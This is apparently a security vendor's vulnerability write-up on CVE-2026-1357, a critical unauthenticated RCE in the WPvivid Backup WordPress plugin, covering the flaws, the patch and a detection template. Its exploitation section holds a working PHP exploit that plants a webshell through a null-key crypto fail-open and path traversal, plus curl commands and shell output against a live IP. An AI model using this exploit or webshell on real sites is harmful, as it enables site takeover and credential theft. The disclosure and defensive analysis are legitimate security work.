Fri 20 February 2026
CVE-2026-1357
Unauthenticated RCE in WPvivid Backup Plugin
February 17, 2026 · CVSS 9.8 Critical · WPvivid ≤ 0.9.123
| CVE ID | CVSS | Affected | Fixed |
|---|---|---|---|
| CVE-2026-1357 | 9.8 Critical | ≤ 0.9.123 | 0.9.124+ |
1. Down the Rabbit Hole: WPvivid Backup and Migration Plugin Vulnerability Overview
WPvivid Backup & Migration is one of those plugins you see everywhere on WordPress, over 300,000 active installations, solid reviews, handles backup, migration, and staging. Routine stuff. What made it interesting was a single feature: Remote Backup Transfer, which lets sites beam encrypted backup data to each other.
The word encrypted is doing a lot of work there. When CVE-2026-1357 dropped with a 9.8 critical rating, that feature was the entry point. This is a technical breakdown of how the vulnerability works.
2. The Crypto That Wasn’t : Analyzing the WPvivid RSA Fail Open in CVE-2026-1357
The first flaw lives in includes/class-wpvivid-crypt.php, inside the decrypt_message() function. The plugin uses a hybrid RSA + AES scheme: the RSA key decrypts a symmetric key, and that key decrypts the payload.
It isn't secure. Here's the vulnerable code:
// class-wpvivid-crypt.php (v0.9.123)
public function decrypt_message($message) {
$rsa = new Crypt_RSA();
$rsa->loadKey($this->public_key);
$key = $rsa->decrypt($key); // Returns FALSE on invalid key
$rij = new Crypt_Rijndael();
$rij->setKey($key); // BUG: no check, sets FALSE as key
return $rij->decrypt($data); // Decrypts with null-byte key
}
When RSA decryption fails, $rsa->decrypt() returns FALSE. That return value is never checked. It goes directly into setKey().
The plugin uses phpseclib v1. In that version, setKey(FALSE) treats the value as an empty string, which gets padded to a 16-byte null key: \x00\x00\x00...\x00. That key is fixed, known, and identical for every installation. Any attacker who pre-encrypts their payload using that null key will have it decrypted successfully by the plugin, authentication bypassed entirely.
Cryptographic fail-open (CWE-755): A missing validation on a decryption result causes the function to fall back to a known null key instead of aborting. The attacker supplies a garbage RSA key to trigger the failure, then submits a payload already encrypted with the null key.
3. Getting Lost on Purpose : Path Traversal in the WPvivid Send to Site Feature
The second flaw is in includes/customclass/class-wpvivid-send-to-site.php. After the (now-bypassed) decryption step, the plugin reads a filename from the JSON payload and constructs a file path with it:
// class-wpvivid-send-to-site.php (v0.9.123)
public function send_to_site() {
$params = json_decode($data, 1);
$dir = WPvivid_Setting::get_backupdir();
// No sanitization of $params['name']
$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
. str_replace('wpvivid', 'wpvivid_temp', $params['name']);
fwrite($handle, base64_decode($params['data']));
}
No basename(). No extension check. The value from $params['name'] goes directly into the path. Setting it to "../uploads/shell.php" resolves to /wp-content/uploads/shell.php, a publicly accessible, PHP-executable directory.
Path traversal (CWE-22): User-supplied filename reaches the filesystem without sanitization. Combined with flaw #1, an unauthenticated request can write any file content to any location reachable from the web root.
4. Putting It Together : Exploiting CVE-2026-1357 for Remote Code Execution
Exploitation runs in two steps: generate the payload, send the request.
Step 1, Payload Generation
The exploit replicates phpseclib v1's null-key behavior. The PHP webshell gets AES-encrypted with \x00×16, wrapped in JSON with a traversal filename, and prefixed with a garbage RSA key to trigger the fail-open:
<?php // exploit.php
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
$rijndael = new Crypt_Rijndael();
$rijndael->setBlockLength(128);
$rijndael->setKey(str_repeat("\0", 16)); // 16-byte null key
$shell = '<?php system($_GET["cmd"]); ?>';
$payload = [
'name' => '../uploads/pwn_shell.php', // path traversal
'data' => base64_encode($shell),
'offset' => 0, 'index' => 0, 'type' => 'backup', 'status' => 'running'
];
$enc = $rijndael->encrypt(json_encode($payload));
$fake_rsa = 'ABC'; // any garbage triggers the fail-open
$packet = str_pad(dechex(strlen($fake_rsa)), 3, '0', STR_PAD_LEFT)
. $fake_rsa
. str_pad(dechex(strlen($enc)), 16, '0', STR_PAD_LEFT)
. $enc;
echo base64_encode($packet);
Step 2, Sending the Request
The payload goes to the WordPress root endpoint via a plain POST. No credentials, no session, no prior setup required:
PAYLOAD=$(php exploit.php)
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl -i -s -X POST "http://209.38.255.159:8090/" \
-d "wpvivid_action=send_to_site" \
-d "wpvivid_content=$ENCODED"
Response:
HTTP/1.1 200 OK
Date: Tue, 17 Feb 2026 10:38:21 GMT
Server: Apache/2.4.66 (Debian)
X-Powered-By: PHP/8.3.30
Content-Length: 36
{"result":"success","op":"finished"}
The shell is on disk. Calling it:
curl "http://209.38.255.159:8090/wp-content/uploads/pwn_shell.php?cmd=whoami"
www-data
5. Proof of Concept : WPvivid RCE Exploit Walkthrough and Impact Analysis
The target was running WPvivid v0.9.123 with the 0.9.124 update available but not yet applied.

After exploitation, the uploaded webshell responds to arbitrary commands as the web server process.

Impact: With
www-dataaccess, an attacker can readwp-config.phpfor database credentials, exfiltrate all site data, install a persistent backdoor, or pivot further depending on server configuration. Full compromise of the WordPress installation is trivial from this point.
6. The Fix : Patching the WPvivid Plugin Security Flaw CVE-2026-1357
Version 0.9.124 addresses both flaws independently. Either fix alone breaks the exploit chain.
Fix 1, Validate the Decryption Result
A single check after $rsa->decrypt() converts the fail-open into a fail-closed. If decryption returns false or an empty key, the function aborts:
// class-wpvivid-crypt.php (v0.9.124)
$key = $rsa->decrypt($key);
if ($key === false || empty($key)) {
return false; // fail-closed
}
$rij->setKey($key);
return $rij->decrypt($data);
Fix 2, Sanitize the Filename and Enforce an Extension Whitelist
basename() strips directory traversal sequences. A regex restricts allowed characters. An explicit extension whitelist blocks anything executable:
// class-wpvivid-send-to-site.php (v0.9.124)
$safe_name = basename($params['name']);
$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);
$allowed = ['zip', 'gz', 'tar', 'sql'];
$ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed, true)) {
$ret['error'] = 'Invalid file type.';
echo wp_json_encode($ret);
die();
}
7. Detecting CVE-2026-1357 with Ostorlab KEV
CVE-2026-1357 is now covered in Ostorlab's Known Exploited Vulnerabilities (KEV) detection suite. The suite runs automated scans across open ports and exposed services to identify known exploited vulnerabilities at scale, combining tools like Nmap, Tsunami, Asteroid, Nuclei, and Metasploit under a single agent group.
The Nuclei Template
A verified Nuclei template was written for this CVE and added to the KEV repository. It is co-authored by omarkurt and Lucas Montes (NiRoX), the original discoverer of the vulnerability. The template runs three requests against the target:
- A GET to the plugin's
readme.txtto confirm WPvivid is installed and extract the version number. - A POST to the root endpoint with a pre-built exploit payload that triggers the fail-open and writes a shell via path traversal.
- A GET to the uploaded shell to confirm execution. Detection requires all three to match: plugin present, upload succeeds, and shell responds.
The template is tagged as verified: true and marked intrusive, it actively exploits the target to confirm vulnerability, not just fingerprint it. It is included in the KEV agent group alongside 200+ other templates covering critical CVEs tracked by CISA and the broader threat intelligence community.
The full template is available in the Ostorlab KEV repository at: github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-1357.yaml
Takeaways
CVE-2026-1357 is a straightforward example of how two individually containable bugs chain into a critical severity rating. The cryptographic fail-open eliminates authentication; the path traversal gives arbitrary write access to the web root. Neither flaw is exotic.
The defensive lessons are equally plain:
- Always validate cryptographic return values before using them as keys.
- Never use user-supplied input directly in filesystem paths.
basename()and an extension whitelist are standard practice for file upload handling.- Defense in depth: patch both layers so neither bypass alone is sufficient.
References
Table of Contents
- 1. Down the Rabbit Hole: WPvivid Backup and Migration Plugin Vulnerability Overview
- 2. The Crypto That Wasn’t : Analyzing the WPvivid RSA Fail Open in CVE-2026-1357
- 3. Getting Lost on Purpose : Path Traversal in the WPvivid Send to Site Feature
- 4. Putting It Together : Exploiting CVE-2026-1357 for Remote Code Execution
- 5. Proof of Concept : WPvivid RCE Exploit Walkthrough and Impact Analysis
- 6. The Fix : Patching the WPvivid Plugin Security Flaw CVE-2026-1357
- 7. Detecting CVE-2026-1357 with Ostorlab KEV
- Takeaways
- References